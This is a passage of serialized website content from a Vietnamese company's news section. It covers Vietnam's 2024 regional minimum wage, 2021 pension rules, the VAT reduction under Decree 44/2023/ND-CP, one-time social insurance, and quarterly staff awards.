follows:",[276,12605,12606,12635],{},[279,12607,12608],{},[282,12609,12610,12615,12625],{},[285,12611,12612],{"align":9818},[20,12613,12614],{},"Region",[285,12616,12617,12620,12622],{"align":9818},[20,12618,12619],{},"Regional minimum wage per month",[473,12621],{},[20,12623,12624],{},"Unit: (VND\u002Fmonth)",[285,12626,12627,12630,12632],{"align":9818},[20,12628,12629],{},"Regional minimum wage per hour",[473,12631],{},[20,12633,12634],{},"Unit: (VND\u002Fhour)",[301,12636,12637,12648,12659,12670],{},[282,12638,12639,12642,12645],{},[306,12640,12641],{"align":9818},"Region I",[306,12643,12644],{"align":9818},"4.960.000",[306,12646,12647],{"align":9818},"23.800",[282,12649,12650,12653,12656],{},[306,12651,12652],{"align":9818},"Region II",[306,12654,12655],{"align":9818},"4.410.000",[306,12657,12658],{"align":9818},"21.200",[282,12660,12661,12664,12667],{},[306,12662,12663],{"align":9818},"Region III",[306,12665,12666],{"align":9818},"3.860.000",[306,12668,12669],{"align":9818},"18.600",[282,12671,12672,12675,12678],{},[306,12673,12674],{"align":9818},"Region IV",[306,12676,12677],{"align":9818},"3.450.000",[306,12679,12680],{"align":9818},"16.600",[11,12682,12683],{},[20,12684,12685],{},"1. Changes in social insurance payment rates when applying the new regional minimum wage in 2024",[31,12687,12688,12691],{},[34,12689,12690],{},"From July 1, 2024, for employees in Region I, the Salary for Social Insurance Contributions will not be lower than 4.960.000\u002Fmonth.",[34,12692,12693],{},"For employees in Region I (with the expected regional minimum wage of 4.960.000 VND\u002Fmonth), the maximum Salary for Unemployment Insurance Contributions in a month can be up to 99,2 million VND.",[11,12695,12696],{},[20,12697,12698],{},"2. Notes when applying the new regional minimum wage in 2024",[31,12700,12701,12704],{},[34,12702,12703],{},"When implementing the regional minimum wage, enterprises are not allowed to cut or reduce salary regimes when employees work overtime, work at night or work in heavy and hazardous working conditions. In addition, enterprises are not allowed to eliminate in-kind compensation for heavy, hazardous occupations and other benefits according to the provisions of Labor Code.",[34,12705,12706,12707],{},"Parties affected when the regional minimum wage in 2024 changes",[31,12708,12709,12712,12715,12718],{},[34,12710,12711],{},"Employees who work under labor contracts as prescribed the provisions of the Labor Code.",[34,12713,12714],{},"Enterprises are established, organized, managed and operated as prescribed the Law on Enterprises.",[34,12716,12717],{},"Cooperatives, cooperative unions, cooperative groups, farms, family households, individuals and other Vietnamese organizations that hire employees under employment contracts.",[34,12719,12720],{},"Foreign agencies, organizations, international organizations and foreign individuals in Vietnam hire employees under employment contracts (except for international treaties to which the Socialist Republic of Vietnam is a member have regulations different from the provisions of this Decree).",[11,12722,12723],{},[20,12724,201],{},[31,12726,12727,12734,12741],{},[34,12728,12729,12730],{},"The Draft: ",[55,12731,12733],{"href":12546,"rel":12732},[59],"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-du-thao-nghi-dinh-quy-dinh-muc-luong-toi-vung",[34,12735,12736,12737],{},"Decree 38\u002F2022\u002FND-CP: ",[55,12738,12740],{"href":12587,"rel":12739},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-dinh-38-2022-ND-CP",[34,12742,12743,12744],{},"Resolution 27-NQ\u002FTW: ",[55,12745,12747],{"href":12572,"rel":12746},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-quyet-27-NQ-TW-2018",{"title":66,"searchDepth":67,"depth":67,"links":12749},[],"2025-03-17","I. The schedule of regional minimum wage increase in 2024 According to the Draft Decree prescribing the regional minimum wage, the time to apply the new regional minimum wage is from July 1, 2024. II. How does the regional minimum wage change?      – The Ministry of Labor – Invalids and Social Affairs is drafting a Decree regulating the minimum wage for employees working under labor contracts. Accordingly, the Ministry proposes to adjust the minimum wage by 6% compared to the current level.",{},"\u002Fnews\u002Fmuc-luong-toi-thieu-vung-ap-dung-tu-01-07-2024",{"title":12533,"description":12751},"news\u002Fmuc-luong-toi-thieu-vung-ap-dung-tu-01-07-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F06\u002F05133908\u002F202405-768x576.png","WqJRRxTfQn7CG9GYlMDD_ZfyvAgHLwQOLCem3YZcGag",{"id":12759,"title":12760,"body":12761,"category":69,"created by":70,"date":12840,"description":12841,"extension":72,"meta":12842,"navigation":74,"path":12843,"sections":76,"seo":12844,"stem":12845,"thumbnail":12846,"__hash__":12847},"content_en\u002Fnews\u002Fnew-information-directly-affecting-the-pension-benefits.md","04 NEW INFORMATION DIRECTLY AFFECTING THE PENSION BENEFITS",{"type":8,"value":12762,"toc":12838},[12763,12770,12773,12776,12779,12782,12789,12792,12795,12798,12805,12808,12811,12819,12822,12829,12832,12835],[11,12764,12765],{},[20,12766,12767],{},[51,12768,12769],{},"1. The pension in 2021 has not increased",[11,12771,12772],{},"Along with the increase in the base salary every year on July 01st, the pension will also be adjusted to increase simultaneously at this time.",[11,12774,12775],{},"However, due to the outbreak of the Covid-19 pandemic, the base salary in 2021 remained unchanged at 1,490,000 VNĐ\u002F month. Specifically, in Resolution 128\u002F2020\u002FQH14, the National Assembly advocates:",[11,12777,12778],{},"In 2021, there is not yet any adjustment to the base salary or the poverty line.",[11,12780,12781],{},"Thus, the pension level in 2021 will not be adjusted to increase.",[11,12783,12784],{},[20,12785,12786],{},[51,12787,12788],{},"2. The pension of January 2021 and February 2021 is paid on aggregate",[11,12790,12791],{},"As usual, on the occasion of the Lunar New Year, the pensioner will be paid 2 months' salary at the same time. This year is no exception.",[11,12793,12794],{},"Recently, Vietnam Social Security has sent documents to the Social Insurance Agency of the provinces and municipalities for the payment of 2 months of pension (January and February 2021) at the same time.",[11,12796,12797],{},"The combined payment aims to create conditions for pensioners to enjoy the traditional New Year.",[11,12799,12800],{},[20,12801,12802],{},[51,12803,12804],{},"3. Men who are full 60 years old, women are full 55 years old are not yet entitled to pension",[11,12806,12807],{},"Previously, according to the provisions of Point a, Clause 1, Article 54 of the Law on Social Insurance 2014, men from full 60 years old, women from full 55 years or older, paying social insurance premiums for full 20 years or more will be entitled to a pension.",[11,12809,12810],{},"However, from January 01st, 2021, the above provisions will be revised by the Labor Code 2019. Accordingly, the condition for retirement age in 2021 is adjusted as follows:",[31,12812,12813,12816],{},[34,12814,12815],{},"The male employee must be full 60 years and 03 months;",[34,12817,12818],{},"Female employees must be full 55 years and 04 months.",[11,12820,12821],{},"Thus, employees in 2021 who are full 60 years old (for men) and full 55 years old (for women) have not yet received pension benefits, but have to wait for 3 more months for men and 4 more months for women.",[11,12823,12824],{},[20,12825,12826],{},[51,12827,12828],{},"4. Change the number of years of social insurance payment for male employees to calculate the pension",[11,12830,12831],{},"Under the provisions of Point a, Clause 2, Article 56 and Point a, Clause 2, Article 74 of the Law on Social Insurance 2014.",[11,12833,12834],{},"The employee's monthly pension is calculated by 45% of the average monthly salary paid for social insurance and corresponding to the number of years of social insurance payment.",[11,12836,12837],{},"In which, if he retires in 2021, the number of years he pays for social insurance for male employees is calculated as 19 years (while in 2020 it is 18 years).",{"title":66,"searchDepth":67,"depth":67,"links":12839},[],"2021-04-15","1. The pension in 2021 has not increased Along with the increase in the base salary every year on July 01st, the pension will also be adjusted to increase simultaneously at this time.",{},"\u002Fnews\u002Fnew-information-directly-affecting-the-pension-benefits",{"title":12760,"description":12841},"news\u002Fnew-information-directly-affecting-the-pension-benefits","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F07093223\u002F04ThongTinAnhHuongNguoiCoLuongHuu-1.png","OFQbU0Z6yQvjM2PAoBU0rmlfkDHeur53g3R06ttBpiA",{"id":12849,"title":12850,"body":12851,"category":69,"created by":4334,"date":13182,"description":13183,"extension":72,"meta":13184,"navigation":74,"path":13185,"sections":76,"seo":13186,"stem":13187,"thumbnail":13188,"__hash__":13189},"content_en\u002Fnews\u002Fnghi-dinh-44-2023-nd-cp-ve-giam-thue-gtgt-va-nhung-dieu-can-biet.md","DECREE 44\u002F2023\u002FND-CP ON VAT REDUCTION",{"type":8,"value":12852,"toc":13176},[12853,12874,12880,12887,12893,12900,13005,13011,13018,13063,13069,13076,13079,13082,13093,13099,13102,13105,13113,13130,13132],[11,12854,12855,12856,12861,12862,12867,12868,12873],{},"On June 30, 2023, The General Department of Taxation issued ",[55,12857,12860],{"href":12858,"rel":12859},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FCong-dien-05-CD-TCT-2023-trien-khai-Nghi-dinh-44-2023-ND-CP-giam-thue-gia-tri-gia-tang-571347.aspx",[59],"Public Notice 05\u002FCD-TCT"," about the implementation of ",[55,12863,12866],{"href":12864,"rel":12865},"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-nghi-dinh-44-2023-nd-cp-ve-giam-thue-gia-tri-gia-tang-119230630185610998.htm",[59],"Decree 44\u002F2023\u002FND-CP"," stipulating the value-added tax (VAT) reduction policy according to ",[55,12869,12872],{"href":12870,"rel":12871},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBo-may-hanh-chinh\u002FNghi-quyet-101-2023-QH15-ky-hop-thu-5-Quoc-hoi-khoa-XV-571915.aspx",[59],"Resolution 101\u002F2023\u002FQH15"," of The National Assembly.",[403,12875,12877],{"id":12876},"time-limit-for-applying-vat-reduction-policy-according-to-decree-442023nd-cp",[20,12878,12879],{},"Time Limit For Applying VAT Reduction Policy According To Decree 44\u002F2023\u002FND-CP",[11,12881,12882,12883,12886],{},"The policy of reducing VAT as prescribed in ",[55,12884,12866],{"href":12864,"rel":12885},[59]," is valid from July 1, 2023 to December 31, 2023.",[403,12888,12890],{"id":12889},"contents-of-vat-reduction-policy-according-to-decree-442023nd-cp",[20,12891,12892],{},"Contents Of VAT Reduction Policy According To Decree 44\u002F2023\u002FND-CP",[11,12894,12895,12896,12899],{},"Pursuant to the contents of Article 1 ",[55,12897,12866],{"href":12864,"rel":12898},[59],", reduce the VAT rate to 8% for groups of goods and services currently applying the 10% tax rate, except for the following groups of goods and services:",[276,12901,12902,12921],{},[279,12903,12904],{},[282,12905,12906,12911,12916],{},[285,12907,12908],{},[20,12909,12910],{},"Group of goods and services",[285,12912,12913],{},[20,12914,12915],{},"Apply tax policy",[285,12917,12918],{},[20,12919,12920],{},"Research base",[301,12922,12923,12940,12953,12966,12979],{},[282,12924,12925,12931,12934],{},[306,12926,12927,12928,12930],{},"- Telecommunications, financial activities, banking, securities, insurance, real estate, metals and prefabricated metal products, mining products (excluding coal mining), coke, oil refined mines and chemical products.",[473,12929],{},"- Coal products are sold at stages other than mining.",[306,12932,12933],{},"The new VAT reduction policy in 2023 is not applicable",[306,12935,12936,12937],{},"Appendix I is attached ",[55,12938,12866],{"href":12864,"rel":12939},[59],[282,12941,12942,12945,12948],{},[306,12943,12944],{},"- For coal mined and sold (including the case of coal mined and then screened and classified according to a closed process to be sold)",[306,12946,12947],{},"Apply the policy of reducing VAT from 10% to 8%",[306,12949,12950],{},[55,12951,12866],{"href":12864,"rel":12952},[59],[282,12954,12955,12958,12960],{},[306,12956,12957],{},"- Goods and services subject to excise tax",[306,12959,12933],{},[306,12961,12962,12963],{},"Appendix II is attached ",[55,12964,12866],{"href":12864,"rel":12965},[59],[282,12967,12968,12971,12973],{},[306,12969,12970],{},"- Information technology under the law on information technology",[306,12972,12933],{},[306,12974,12975,12976],{},"Appendix III is attached ",[55,12977,12866],{"href":12864,"rel":12978},[59],[282,12980,12981,12984,12987],{},[306,12982,12983],{},"- Goods and services are not taxable and subject to 5% VAT according to the Law on VAT",[306,12985,12986],{},"Continue to apply according to the previous VAT law, not apply the new VAT reduction policy in 2023",[306,12988,12989,12994,12995,12994,13000],{},[55,12990,12993],{"href":12991,"rel":12992},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-219-2013-TT-BTC-huong-dan-Luat-thue-gia-tri-gia-tang-va-Nghi-dinh-209-2013-ND-CP-220761.aspx",[59],"Circular No. 219\u002F2013\u002FTT-BTC","  ",[55,12996,12999],{"href":12997,"rel":12998},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-26-2015-TT-BTC-huong-dan-12-2015-ND-CP-thue-gia-tri-gia-tang-sua-doi-39-2014-TT-BTC-267174.aspx",[59],"Circular 26\u002F2015\u002FTT-BTC",[55,13001,13004],{"href":13002,"rel":13003},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-43-2021-TT-BTC-sua-doi-Khoan-11-Dieu-10-Thong-tu-219-2013-TT-BTC-477641.aspx",[59],"Circular 43\u002F2021\u002FTT-BTC",[403,13006,13008],{"id":13007},"vat-reduction-level-according-to-decree-442023nd-cp",[20,13009,13010],{},"VAT Reduction Level According To Decree 44\u002F2023\u002FND-CP",[11,13012,13013,13014,13017],{},"Pursuant to the contents of Clause 2, Article 1 ",[55,13015,12866],{"href":12864,"rel":13016},[59],", the VAT reduction is regulated as follows:",[276,13019,13020,13039],{},[279,13021,13022],{},[282,13023,13024,13029,13034],{},[285,13025,13026],{},[20,13027,13028],{},"VAT calculation method",[285,13030,13031],{},[20,13032,13033],{},"The previous VAT rate",[285,13035,13036],{},[20,13037,13038],{},"The VAT rate after applying Decree 44\u002F2023\u002FND-CP",[301,13040,13041,13052],{},[282,13042,13043,13046,13049],{},[306,13044,13045],{},"Deduction method",[306,13047,13048],{},"10%",[306,13050,13051],{},"8% - For the group of goods and services eligible for tax reduction",[282,13053,13054,13057,13060],{},[306,13055,13056],{},"Method of percentage on revenue (including business households and business individuals)",[306,13058,13059],{},"The percentage of VAT calculation depends on each type of service and goods",[306,13061,13062],{},"20% discount rate for VAT calculation",[403,13064,13066],{"id":13065},"how-to-issue-8-vat-invoice-according-to-decree-442023nd-cp",[20,13067,13068],{},"How To Issue 8% VAT Invoice According To Decree 44\u002F2023\u002FND-CP",[11,13070,13071,13072,13075],{},"According to ",[55,13073,12866],{"href":12864,"rel":13074},[59],", instructions for making an 8% VAT invoice are as follows:",[11,13077,13078],{},"For business establishments that calculate VAT by the deduction method:",[11,13080,13081],{},"When making a value-added invoice for goods and services eligible for VAT reduction:",[31,13083,13084,13090],{},[34,13085,13086,13087,436],{},"At the “VAT rate” line, write: \"",[51,13088,13089],{},"8%",[34,13091,13092],{},"Value-added tax; The total amount to be paid by the buyer is calculated and recorded at the tax rate of 8%.",[11,13094,13095,13096,878],{},"Note: In case a business establishment calculates VAT by the credit method when selling goods or providing services with different tax rates, the value-added invoice must clearly state the tax rate of each goods or service as prescribed in Clause 3, Article 1 ",[55,13097,12866],{"href":12864,"rel":13098},[59],[11,13100,13101],{},"For business establishments (including business households and business individuals) that VAT is calculated according to the percentage method on revenue:",[11,13103,13104],{},"When making sales invoices for goods and services eligible for VAT reduction:",[31,13106,13107,13110],{},[34,13108,13109],{},"In the column “Amount” - “Thành tiền”: Write the full amount of goods and services before reducing.",[34,13111,13112],{},"In the line “Total Amount” - “Cộng tiền hàng hóa, dịch vụ”: Write the number that has reduced 20% of the percentage of revenue.",[11,13114,13115,13116,507,13119,13125,13126,13129],{},"Also note: “",[51,13117,13118],{},"đã giảm… (số tiền) tương ứng 20% mức tỷ lệ % để tính thuế giá trị gia tăng theo",[55,13120,13122],{"href":12870,"rel":13121},[59],[51,13123,13124],{},"Nghị quyết 101\u002F2023\u002FQH15","\" - \"",[51,13127,13128],{},"an amount of......., equivalent to 20% of the rate (%) used as the basis for calculating VAT, is reduced according to the Resolution No. 101\u002F2023\u002FQH15”"," on the issued invoice.",[11,13131,201],{},[31,13133,13134,13141,13148,13155,13162,13169],{},[34,13135,13136,13137],{},"Public Notice 05\u002FCD-TCT: ",[55,13138,13140],{"href":12858,"rel":13139},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FCong-dien-05-CD-TCT-2023",[34,13142,13143,13144],{},"Decree 44\u002F2023\u002FND-CP: ",[55,13145,13147],{"href":12864,"rel":13146},[59],"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-nghi-dinh-44-2023",[34,13149,13150,13151],{},"Resolution 101\u002F2023\u002FQH15: ",[55,13152,13154],{"href":12870,"rel":13153},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBo-may-hanh-chinh\u002FNghi-quyet-101-2023-QH15",[34,13156,13157,13158],{},"Circular No. 219\u002F2013\u002FTT-BTC: ",[55,13159,13161],{"href":12991,"rel":13160},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-219-2013-TT-BTC",[34,13163,13164,13165],{},"Circular 26\u002F2015\u002FTT-BTC:  ",[55,13166,13168],{"href":12997,"rel":13167},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-26-2015-TT-BTC",[34,13170,13171,13172],{},"Circular 43\u002F2021\u002FTT-BTC: ",[55,13173,13175],{"href":13002,"rel":13174},[59],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-43-2021-TT-BTC",{"title":66,"searchDepth":67,"depth":67,"links":13177},[13178,13179,13180,13181],{"id":12876,"depth":67,"text":12879},{"id":12889,"depth":67,"text":12892},{"id":13007,"depth":67,"text":13010},{"id":13065,"depth":67,"text":13068},"2023-09-26","On June 30, 2023, The General Department of Taxation issued Public Notice 05\u002FCD-TCT about the implementation of Decree 44\u002F2023\u002FND-CP stipulating the value-added tax (VAT) reduction policy according to Resolution 101\u002F2023\u002FQH15 of The National Assembly. Time Limit For Applying VAT Reduction Policy According To Decree 44\u002F2023\u002FND-CP The policy of reducing VAT as prescribed in Decree 44\u002F2023\u002FND-CP is valid from July 1, 2023 to December 31, 2023",{},"\u002Fnews\u002Fnghi-dinh-44-2023-nd-cp-ve-giam-thue-gtgt-va-nhung-dieu-can-biet",{"title":12850,"description":13183},"news\u002Fnghi-dinh-44-2023-nd-cp-ve-giam-thue-gtgt-va-nhung-dieu-can-biet","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F24153928\u002FPIC-news-Final.png","s3U0rPyfyNhNwDwM6xlGvPFNzpcAaJbgBPK9E3qauzE",{"id":13191,"title":13192,"body":13193,"category":69,"created by":70,"date":13270,"description":13271,"extension":72,"meta":13272,"navigation":74,"path":13273,"sections":76,"seo":13274,"stem":13275,"thumbnail":13276,"__hash__":13277},"content_en\u002Fnews\u002Fnhan-bao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-se-mat-nhung-quyen-loi-gi.md","RECEIVING ONE-TIME SOCIAL INSURANCE, WHAT BENEFITS WILL EMPLOYEES LOSE?",{"type":8,"value":13194,"toc":13268},[13195,13198,13203,13206,13214,13219,13222,13230,13235,13238,13243,13246,13249,13254,13257,13260,13265],[11,13196,13197],{},"Due to the negative impact of the Covid-19 pandemic on the labor market, the number of workers losing their jobs is increasing. To solve the immediate income problem, many workers who lost their jobs choose to receive one-time social insurance benefits. According to the Vietnam Social Security, employees will lose 05 important benefits below:",[11,13199,13200],{},[20,13201,13202],{},"1. Cannot accumulate the period of social insurance payment",[11,13204,13205],{},"After receiving one-time social insurance, the period of the social insurance payment in the future will not accumulate the previous period of participation but is considered as starting a new period. This affects the employee's pension:",[31,13207,13208,13211],{},[34,13209,13210],{},"Not entitled pension, so there is no income to ensure life in old age and loss of working capacity.",[34,13212,13213],{},"Low pension: due to the short period of social insurance payment, the paid pension will be low, losing a stable financial source to support the life of employees when they retire.",[11,13215,13216],{},[20,13217,13218],{},"2. Benefits of health insurance card and funeral regime",[11,13220,13221],{},"After receiving one-time social insurance, employees will be limited in the benefits of health insurance card when they retire and funeral allowance when they unfortunately, pass away:",[31,13223,13224,13227],{},[34,13225,13226],{},"During the period of pension enjoyment, employees are covered by the social insurance fund, free of charge of health insurance cards and fully entitled to medical examination and treatment benefits covered by health insurance. If the employee receives one-time social insurance, the benefits mentioned above will not be enjoyed.",[34,13228,13229],{},"When a pensioner unfortunately dies, the family member responsible for the funeral will be entitled to a funeral allowance equal to 10 times the base salary at the time of the employee's death. At the same time, relatives of the deceased will also receive a monthly survivor benefit.",[11,13231,13232],{},[20,13233,13234],{},"3. Losing the opportunity to reserve and accumulate social insurance contributions and many benefits for relatives",[11,13236,13237],{},"The amount of social insurance payment is considered as \"savings\", not lost over time. Employees can make reservations and can continue to participate in social insurance in the future. During the reservation period, in the unfortunate event that the employee dies, their family is still entitled to the survivor benefit and funeral allowance.",[11,13239,13240],{},[20,13241,13242],{},"4. The disadvantage in the level of social insurance allowances",[11,13244,13245],{},"After receiving one-time social insurance, employees are much more disadvantaged. Because when paying social insurance, 22% of the salary on which social insurance premiums are based, will be paid to the retirement and survivor fund. So, the rate of contribution for this fund in a year is 2.64 months' salary for social insurance contributions.",[11,13247,13248],{},"While the one-time social insurance benefit per year is equal to 1.5 months of the average salary participating in social insurance, applied to the time of payment of social insurance premiums before 2014 and equal to 2 months of the average salary participating in social insurance for the period from 2014 onwards.",[11,13250,13251],{},[20,13252,13253],{},"5. Pensioners will have a stable allowance and a more secure life than those who receive one-time social insurance",[11,13255,13256],{},"For one-time social insurance recipients, employees receive only one time and it is very easy to use up the old-age pension. In old age, labor depends on descendants and society.",[11,13258,13259],{},"When receiving pensions, participants of social insurance will enjoy a pension that is periodically adjusted according to the consumption index and economic situation. Therefore, workers will have a stable and satisfying allowance for life.",[11,13261,13262],{},[20,13263,13264],{},"So, after leaving the job, which benefits should employees choose?",[11,13266,13267],{},"In order to solve the problems of loss of income during the difficult period of the Covid-19 epidemic, Vietnam Social Security advises that if workers are unfortunately unemployed, they should register for unemployment benefits, vocational training allowance or register to receive support from the Government's social security package instead of one-time social insurance benefits.",{"title":66,"searchDepth":67,"depth":67,"links":13269},[],"2021-07-09","Due to the negative impact of the Covid-19 pandemic on the labor market, the number of workers losing their jobs is increasing. To solve the immediate income problem, many workers who lost their jobs choose to receive one-time social insurance benefits. According to the Vietnam Social Security, employees will lose 05 important benefits below",{},"\u002Fnews\u002Fnhan-bao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-se-mat-nhung-quyen-loi-gi",{"title":13192,"description":13271},"news\u002Fnhan-bao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-se-mat-nhung-quyen-loi-gi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F06\u002F02085032\u002FNhanBHXHMotLanChiuNhieuThietThoi.png","RVss-ZF0h-1-4zLrKtMFQK27slsRmsx52UkAGttt0JY",{"id":13279,"title":13280,"body":13281,"category":69,"created by":70,"date":13372,"description":13373,"extension":72,"meta":13374,"navigation":74,"path":13375,"sections":76,"seo":13376,"stem":13377,"thumbnail":13378,"__hash__":13379},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-2021.md","Excellent Staff Award of Quarter 1.2021",{"type":8,"value":13282,"toc":13370},[13283,13286,13289,13292,13296,13301,13305,13308,13311,13314,13319,13324,13328,13331,13334,13337,13340,13345,13349,13352,13355,13358,13361,13364,13367],[11,13284,13285],{},"Hello everybody! Welcome to our “Excellent staff of the Quarter” series!",[11,13287,13288],{},"This time, please allow us to introduce individuals with excellent results in Quarter 1.2021.",[11,13290,13291],{},"Can you guess who it is? Scroll down to see who is in the spotlight!",[11,13293,13294],{},[20,13295,7173],{},[11,13297,13298],{},[20,13299,13300],{},"Le Ngoc Khanh, team Dev2",[438,13302],{"className":13303,"alt":66,"src":13304,"style":1894},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F06112336\u002FKh%C3%A1nh-scaled.jpg",[11,13306,13307],{},"Do you remember him?",[11,13309,13310],{},"Once again, this friend from the Dev2 team added his name to the list of excellent employees of Quarter 1.2021. This time, he got even better when he stood out and won the first prize of the quarter.",[11,13312,13313],{},"Hopefully, with this spirit of inquisitive and dedicated work, Khanh can do more in the future.",[11,13315,13316],{},[20,13317,13318],{},"A tie for Second Prize",[11,13320,13321],{},[20,13322,13323],{},"Tao Viet Ha, team Dev3",[438,13325],{"className":13326,"alt":66,"src":13327,"style":1894},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F06112342\u002FH%C3%A0-scaled.jpg",[11,13329,13330],{},"Surely everyone is familiar with this face, right?",[11,13332,13333],{},"Ha has registered his name on the list of excellent employees in Quarter 3.2020",[11,13335,13336],{},"No longer a new member of the Briswell house. Therefore, he has quite a lot of experience. Although he is familiar with the job, he always tries to improve himself every day, work hard every day and develop further.",[11,13338,13339],{},"Hope Ha will continue to promote his strengths in the future.",[11,13341,13342],{},[20,13343,13344],{},"And Nguyen Trung Nghia, team Dev3",[438,13346],{"className":13347,"alt":66,"src":13348,"style":1894},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F06112327\u002FNgh%C4%A9a-scaled.jpg",[11,13350,13351],{},"Another face is also from team Dev3.",[11,13353,13354],{},"This friend is still very young, but the possibilities are limitless.",[11,13356,13357],{},"Although he is young, he has affirmed his position and received recognition from the leaders.",[11,13359,13360],{},"Soon he will be in a new position after many days of hard work and effort.",[11,13362,13363],{},"Hopefully, Nghia will have many more promotions in the future.",[11,13365,13366],{},"Congratulations on winning this excellent staff award!",[11,13368,13369],{},"The year 2021 has just started, Briswell members, let's try and strive harder together!",{"title":66,"searchDepth":67,"depth":67,"links":13371},[],"2021-05-21","Hello everybody! Welcome to our “Excellent staff of the Quarter” series! This time, please allow us to introduce individuals with excellent results in Quarter 1.2021. Can you guess who it is? Scroll down to see who is in the spotlight!",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-2021",{"title":13280,"description":13373},"news\u002Fnhan-vien-xuat-sac-quy-1-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F06112347\u002FCover-2.png","Z-NtoaSvAp3nJwGynRJucBj7u8zdK-pVTfHub8RZeKk",{"id":13381,"title":13382,"body":13383,"category":69,"created by":4334,"date":13428,"description":13429,"extension":72,"meta":13430,"navigation":74,"path":13431,"sections":76,"seo":13432,"stem":13433,"thumbnail":13434,"__hash__":13435},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2024.md","Excellent Staff In Quarter 1.2024",{"type":8,"value":13384,"toc":13426},[13385,13388,13391,13395,13400,13406,13411,13417,13420,13423],[11,13386,13387],{},"Welcome back to Briswell Vietnam's “Excellent Staff of the Quarter” series!",[11,13389,13390],{},"We are thrilled to recognize two incredible staff for their exceptional performance in Quarter 1.2024. These two staff have made positive contributions this quarter, furthering the company's progress.",[438,13392],{"className":13393,"alt":66,"src":13394,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F05\u002F30155818\u002FIMG_2034-1024x765.jpg",[11,13396,13397],{},[20,13398,13399],{},"The first prize",[11,13401,13402,13403],{},"Dang Minh Dat ",[51,13404,13405],{},"(Right)",[11,13407,13408],{},[20,13409,13410],{},"The second prize",[11,13412,13413,13414],{},"Le Ngoc Khanh ",[51,13415,13416],{},"(Center)",[11,13418,13419],{},"Congratulations to Mr.Dat and Mr.Khanh! Hope that you two continue to develop your excellent abilities and achieve more success in the future.",[11,13421,13422],{},"We also sincerely thank all staff for their efforts and contributions in the past quarter.",[11,13424,13425],{},"Let's continue to do our best in the next quarter!",{"title":66,"searchDepth":67,"depth":67,"links":13427},[],"2025-02-28","Welcome back to Briswell Vietnam’s “Excellent Staff of the Quarter” series! We are thrilled to recognize two incredible staff for their exceptional performance in Quarter 1.2024. These two staff have made positive contributions this quarter, furthering the company’s progress.   The first prize Dang Minh Dat (Right) The second prize Le Ngoc Khanh (Center) Congratulations to Mr.Dat and Mr.Khanh! Hope that you two continue to that you two continue to develop your excellent abilities and achieve more success in the future.",{},"\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2024",{"title":13382,"description":13429},"news\u002Fnhan-vien-xuat-sac-quy-1-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F05\u002F30155813\u002F202405_ExcellentStaff.png","0VfHZMFZWYsh7cjZRVr3Me9LoYyfx959z7JlqFH_vCo",{"id":13437,"title":13438,"body":13439,"category":69,"created by":4334,"date":13483,"description":13484,"extension":72,"meta":13485,"navigation":74,"path":13486,"sections":76,"seo":13487,"stem":13488,"thumbnail":13489,"__hash__":13490},"content_en\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2025.md","Excellent Staff in Quarter 1.2025",{"type":8,"value":13440,"toc":13481},[13441,13444,13447,13451,13456,13461,13466,13472,13475,13478],[11,13442,13443],{},"Kicking off a promising year in 2025, Briswell Vietnam continues the tradition of celebrating excellent staff each quarter.",[11,13445,13446],{},"In this first quarter, the company is delighted to recognize two exceptional individuals who have not only kept up their good work but also continued to stand 